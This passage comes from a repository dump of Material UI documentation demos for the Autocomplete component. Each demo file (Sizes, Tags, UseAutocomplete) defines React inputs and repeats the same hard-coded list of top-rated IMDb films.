1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Sizes.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Chip from '@mui/material/Chip';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\n\nexport default function Sizes() {\n  return (\n    <Stack spacing={2} sx={{ width: 500 }}>\n      <Autocomplete\n        id=\"size-small-standard\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={top100Films[13]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"standard\"\n            label=\"Size small\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-standard-multi\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"standard\"\n            label=\"Size small\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        id=\"size-small-outlined\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={top100Films[13]}\n        renderInput={(params) => (\n          <TextField {...params} label=\"Size small\" placeholder=\"Favorites\" />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-outlined-multi\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        renderInput={(params) => (\n          <TextField {...params} label=\"Size small\" placeholder=\"Favorites\" />\n        )}\n      />\n      <Autocomplete\n        id=\"size-small-filled\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={top100Films[13]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"filled\"\n            label=\"Size small\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"size-small-filled-multi\"\n        size=\"small\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        renderValue={(values, getItemProps) =>\n          values.map((option, index) => {\n            const { key, ...itemProps } = getItemProps({ index });\n            return (\n              <Chip\n                key={key}\n                variant=\"outlined\"\n                label={option.title}\n                size=\"small\"\n                {...itemProps}\n              />\n            );\n          })\n        }\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"filled\"\n            label=\"Size small\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Tags.js",
    "content": "import Chip from '@mui/material/Chip';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\nimport Stack from '@mui/material/Stack';\n\nexport default function Tags() {\n  return (\n    <Stack spacing={3} sx={{ width: 500 }}>\n      <Autocomplete\n        multiple\n        id=\"tags-standard\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"standard\"\n            label=\"Multiple values\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"tags-outlined\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        filterSelectedOptions\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            label=\"filterSelectedOptions\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"tags-filled\"\n        options={top100Films.map((option) => option.title)}\n        defaultValue={[top100Films[13].title]}\n        freeSolo\n        renderValue={(value, getItemProps) =>\n          value.map((option, index) => {\n            const { key, ...itemProps } = getItemProps({ index });\n            return (\n              <Chip variant=\"outlined\" label={option} key={key} {...itemProps} />\n            );\n          })\n        }\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"filled\"\n            label=\"freeSolo\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"tags-readOnly\"\n        options={top100Films.map((option) => option.title)}\n        defaultValue={[top100Films[12].title, top100Films[13].title]}\n        readOnly\n        renderInput={(params) => (\n          <TextField {...params} label=\"readOnly\" placeholder=\"Favorites\" />\n        )}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/Tags.tsx",
    "content": "import Chip from '@mui/material/Chip';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport TextField from '@mui/material/TextField';\nimport Stack from '@mui/material/Stack';\n\nexport default function Tags() {\n  return (\n    <Stack spacing={3} sx={{ width: 500 }}>\n      <Autocomplete\n        multiple\n        id=\"tags-standard\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"standard\"\n            label=\"Multiple values\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"tags-outlined\"\n        options={top100Films}\n        getOptionLabel={(option) => option.title}\n        defaultValue={[top100Films[13]]}\n        filterSelectedOptions\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            label=\"filterSelectedOptions\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"tags-filled\"\n        options={top100Films.map((option) => option.title)}\n        defaultValue={[top100Films[13].title]}\n        freeSolo\n        renderValue={(value: readonly string[], getItemProps) =>\n          value.map((option: string, index: number) => {\n            const { key, ...itemProps } = getItemProps({ index });\n            return (\n              <Chip variant=\"outlined\" label={option} key={key} {...itemProps} />\n            );\n          })\n        }\n        renderInput={(params) => (\n          <TextField\n            {...params}\n            variant=\"filled\"\n            label=\"freeSolo\"\n            placeholder=\"Favorites\"\n          />\n        )}\n      />\n      <Autocomplete\n        multiple\n        id=\"tags-readOnly\"\n        options={top100Films.map((option) => option.title)}\n        defaultValue={[top100Films[12].title, top100Films[13].title]}\n        readOnly\n        renderInput={(params) => (\n          <TextField {...params} label=\"readOnly\" placeholder=\"Favorites\" />\n        )}\n      />\n    </Stack>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost Ark', year: 1981 },\n  { title: 'Rear Window', year: 1954 },\n  { title: 'The Pianist', year: 2002 },\n  { title: 'The Departed', year: 2006 },\n  { title: 'Terminator 2: Judgment Day', year: 1991 },\n  { title: 'Back to the Future', year: 1985 },\n  { title: 'Whiplash', year: 2014 },\n  { title: 'Gladiator', year: 2000 },\n  { title: 'Memento', year: 2000 },\n  { title: 'The Prestige', year: 2006 },\n  { title: 'The Lion King', year: 1994 },\n  { title: 'Apocalypse Now', year: 1979 },\n  { title: 'Alien', year: 1979 },\n  { title: 'Sunset Boulevard', year: 1950 },\n  {\n    title: 'Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb',\n    year: 1964,\n  },\n  { title: 'The Great Dictator', year: 1940 },\n  { title: 'Cinema Paradiso', year: 1988 },\n  { title: 'The Lives of Others', year: 2006 },\n  { title: 'Grave of the Fireflies', year: 1988 },\n  { title: 'Paths of Glory', year: 1957 },\n  { title: 'Django Unchained', year: 2012 },\n  { title: 'The Shining', year: 1980 },\n  { title: 'WALL·E', year: 2008 },\n  { title: 'American Beauty', year: 1999 },\n  { title: 'The Dark Knight Rises', year: 2012 },\n  { title: 'Princess Mononoke', year: 1997 },\n  { title: 'Aliens', year: 1986 },\n  { title: 'Oldboy', year: 2003 },\n  { title: 'Once Upon a Time in America', year: 1984 },\n  { title: 'Witness for the Prosecution', year: 1957 },\n  { title: 'Das Boot', year: 1981 },\n  { title: 'Citizen Kane', year: 1941 },\n  { title: 'North by Northwest', year: 1959 },\n  { title: 'Vertigo', year: 1958 },\n  {\n    title: 'Star Wars: Episode VI - Return of the Jedi',\n    year: 1983,\n  },\n  { title: 'Reservoir Dogs', year: 1992 },\n  { title: 'Braveheart', year: 1995 },\n  { title: 'M', year: 1931 },\n  { title: 'Requiem for a Dream', year: 2000 },\n  { title: 'Amélie', year: 2001 },\n  { title: 'A Clockwork Orange', year: 1971 },\n  { title: 'Like Stars on Earth', year: 2007 },\n  { title: 'Taxi Driver', year: 1976 },\n  { title: 'Lawrence of Arabia', year: 1962 },\n  { title: 'Double Indemnity', year: 1944 },\n  {\n    title: 'Eternal Sunshine of the Spotless Mind',\n    year: 2004,\n  },\n  { title: 'Amadeus', year: 1984 },\n  { title: 'To Kill a Mockingbird', year: 1962 },\n  { title: 'Toy Story 3', year: 2010 },\n  { title: 'Logan', year: 2017 },\n  { title: 'Full Metal Jacket', year: 1987 },\n  { title: 'Dangal', year: 2016 },\n  { title: 'The Sting', year: 1973 },\n  { title: '2001: A Space Odyssey', year: 1968 },\n  { title: \"Singin' in the Rain\", year: 1952 },\n  { title: 'Toy Story', year: 1995 },\n  { title: 'Bicycle Thieves', year: 1948 },\n  { title: 'The Kid', year: 1921 },\n  { title: 'Inglourious Basterds', year: 2009 },\n  { title: 'Snatch', year: 2000 },\n  { title: '3 Idiots', year: 2009 },\n  { title: 'Monty Python and the Holy Grail', year: 1975 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/UseAutocomplete.js",
    "content": "import useAutocomplete from '@mui/material/useAutocomplete';\nimport { styled } from '@mui/system';\n\nconst Label = styled('label')({\n  display: 'block',\n});\n\nconst Input = styled('input')(({ theme }) => ({\n  width: 200,\n  backgroundColor: '#fff',\n  color: '#000',\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#000',\n    color: '#fff',\n  }),\n}));\n\nconst Listbox = styled('ul')(({ theme }) => ({\n  width: 200,\n  margin: 0,\n  padding: 0,\n  zIndex: 1,\n  position: 'absolute',\n  listStyle: 'none',\n  backgroundColor: '#fff',\n  overflow: 'auto',\n  maxHeight: 200,\n  border: '1px solid rgba(0,0,0,.25)',\n  '& li.Mui-focused': {\n    backgroundColor: '#4a8df6',\n    color: 'white',\n    cursor: 'pointer',\n  },\n  '& li:active': {\n    backgroundColor: '#2977f5',\n    color: 'white',\n  },\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#000',\n  }),\n}));\n\nexport default function UseAutocomplete() {\n  const {\n    getRootProps,\n    getInputLabelProps,\n    getInputProps,\n    getListboxProps,\n    getOptionProps,\n    groupedOptions,\n  } = useAutocomplete({\n    id: 'use-autocomplete-demo',\n    options: top100Films,\n    getOptionLabel: (option) => option.title,\n  });\n\n  return (\n    <div>\n      <div {...getRootProps()}>\n        <Label {...getInputLabelProps()}>useAutocomplete</Label>\n        <Input {...getInputProps()} />\n      </div>\n      {groupedOptions.length > 0 ? (\n        <Listbox {...getListboxProps()}>\n          {groupedOptions.map((option, index) => {\n            const { key, ...optionProps } = getOptionProps({ option, index });\n            return (\n              <li key={key} {...optionProps}>\n                {option.title}\n              </li>\n            );\n          })}\n        </Listbox>\n      ) : null}\n    </div>\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n  { title: 'Casablanca', year: 1942 },\n  { title: 'City Lights', year: 1931 },\n  { title: 'Psycho', year: 1960 },\n  { title: 'The Green Mile', year: 1999 },\n  { title: 'The Intouchables', year: 2011 },\n  { title: 'Modern Times', year: 1936 },\n  { title: 'Raiders of the Lost 